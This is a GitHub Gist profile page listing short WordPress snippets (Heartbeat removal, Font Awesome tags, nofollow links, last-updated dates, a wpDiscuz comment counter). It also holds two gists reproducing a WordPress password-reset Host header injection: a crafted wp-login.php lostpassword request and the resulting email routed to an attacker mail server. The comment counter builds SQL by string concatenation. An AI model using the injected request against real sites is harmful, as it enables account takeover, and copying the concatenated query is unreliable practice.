Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View Kaiderella's full-sized avatar
🏠
Working from home

Hieu Bui Trung Kaiderella

🏠
Working from home
View GitHub Profile
@Kaiderella
Kaiderella / functions.php
Created May 22, 2017 02:19
Vô hiệu hóa Heartbeat
add_action( 'init', 'stop_heartbeat', 1 );
function stop_heartbeat() {
wp_deregister_script('heartbeat');
}
@Kaiderella
Kaiderella / resulting-email
Created May 11, 2017 01:51
0 day resulting email
------[ resulting e-mail ]-----
Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
@Kaiderella
Kaiderella / http-request
Created May 11, 2017 01:47
0 day request
-----[ HTTP Request ]----
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------
@Kaiderella
Kaiderella / font-awesome-i-class
Created April 14, 2017 06:24
Chèn Font Awesome với thẻ i
<i class="fa fa-home" aria-hidden="true"></i>
@Kaiderella
Kaiderella / font-awesome-span-class
Created April 14, 2017 06:18
Chèn Font Awesome với thẻ span
<span class="fa fa-home"></span>
@Kaiderella
Kaiderella / functions.php
Created April 12, 2017 02:10
Nofollow tất cả external links
//* Add rel nofollow to all external links
function wp_nofollow($content)
{
return preg_replace_callback('/<a[^>]+/', 'wp_nofollow_callback', $content);
}
function wp_nofollow_callback($matches)
{
$link = $matches[0];
$site_link = get_bloginfo('url');
if (strpos($link, 'rel') === false)
@Kaiderella
Kaiderella / style.css
Last active April 10, 2017 04:08
Tùy biến CSS cho ngày cập nhật bài viết
.last-updated {
// Your CSS
}
@Kaiderella
Kaiderella / functions.php
Last active April 10, 2017 04:11
Hiển thị ngày cập nhật bài viết
//* Display last updated date
function wpcb_last_updated_date( $content ) {
$u_time = get_the_time('U');
$u_modified_time = get_the_modified_time('U');
if ($u_modified_time >= $u_time + 86400) {
$updated_date = get_the_modified_time('d/m/Y');
$updated_time = get_the_modified_time('H:i');
$custom_content .= '<p class="last-updated">Cập nhật lần cuối '. $updated_date . ' at '. $updated_time .'</p>';
}
@Kaiderella
Kaiderella / functions.php
Created April 6, 2017 05:35
Comments count for wpdiscuz
add_filter('wpdiscuz_comment_author', 'my_commentCount', 10, 2);
function my_commentCount($author_name, $comment) {
global $wpdb;
$count = $wpdb->get_var('SELECT COUNT(comment_ID) FROM ' . $wpdb->comments. ' WHERE comment_author_email = "' . addslashes($comment->comment_author_email) . '"');
return $author_name .' | <span class="wpdiscuz-comment-count">'. $count . ' comments</span>';
}
@Kaiderella
Kaiderella / wp-config.php
Created March 30, 2017 02:54
Define WP temp directory
define('WP_TEMP_DIR', ABSPATH . 'wp-content/');